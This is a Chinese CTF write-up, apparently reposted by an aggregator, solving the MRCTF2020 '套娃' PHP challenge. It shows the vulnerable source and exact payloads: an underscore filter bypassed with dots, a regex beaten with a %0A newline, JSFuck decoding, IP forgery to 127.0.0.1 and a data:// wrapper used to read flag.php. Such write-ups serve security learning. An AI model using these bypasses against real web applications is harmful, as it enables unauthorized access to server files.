[MRCTF2020]套娃
Posted 凇岳
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[MRCTF2020]套娃相关的知识,希望对你有一定的参考价值。
打开链接
查看源代码
1、$_SERVER[" QUERY_STRING "]获取?后面的值
http://localhost/aaa/index.php?p=222&q=333 $_SERVER[\'QUERY_STRING\'] = "p=222&q=333"; $_SERVER[\'REQUEST_URI\']= "/aaa/index.php?p=222&q=333"; $_SERVER[\'SCRIPT_NAME\']= "/aaa/index.php"; $_SERVER[\'PHP_SELF\']= "/aaa/index.php";
2、substr_count() 函数计算子串在字符串中出现的次数,为“或”语句。
构造的代码不能出现\'_\'和\'%5f\',可以用‘ ’或‘.’或‘%5F’绕过
3、通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中\'^\'和\'$\'代表的是行的开头和结尾,所以能利用换行绕过)绕过
构造/?b.u.p.t=23333%0A,进入下一页面
提示flag在secrettw.php
显示没有权限查看
查看源代码,发现一堆符号
这是jsfuck,要想这段代码可以在javascript上运行,只需在控制台上输入这段代码,按下回车即可
随便post入Merak=1
回显得到一段代码
<?php error_reporting(0); include \'takeip.php\'; ini_set(\'open_basedir\',\'.\'); include \'flag.php\'; if(isset($_POST[\'Merak\'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = \'\'; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo \'Local access only!\'."<br/>"; $ip = getIp(); if($ip!=\'127.0.0.1\') echo "Sorry,you don\'t have permission! Your ip is :".$ip; if($ip === \'127.0.0.1\' && file_get_contents($_GET[\'2333\']) === \'todat is a happy day\' ){ echo "Your REQUEST is:".change($_GET[\'file\']); echo file_get_contents(change($_GET[\'file\'])); } ?>
1、需要伪造IP地址为127.0.0.1
2、file_get_contents
需要传入的get参数2333的值强等于\'todat is a happy day\',考虑使用伪协议data://
构造?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
3、change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2
构造/secrettw.php?2333=data:text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
得到flag
以上是关于[MRCTF2020]套娃的主要内容,如果未能解决你的问题,请参考以下文章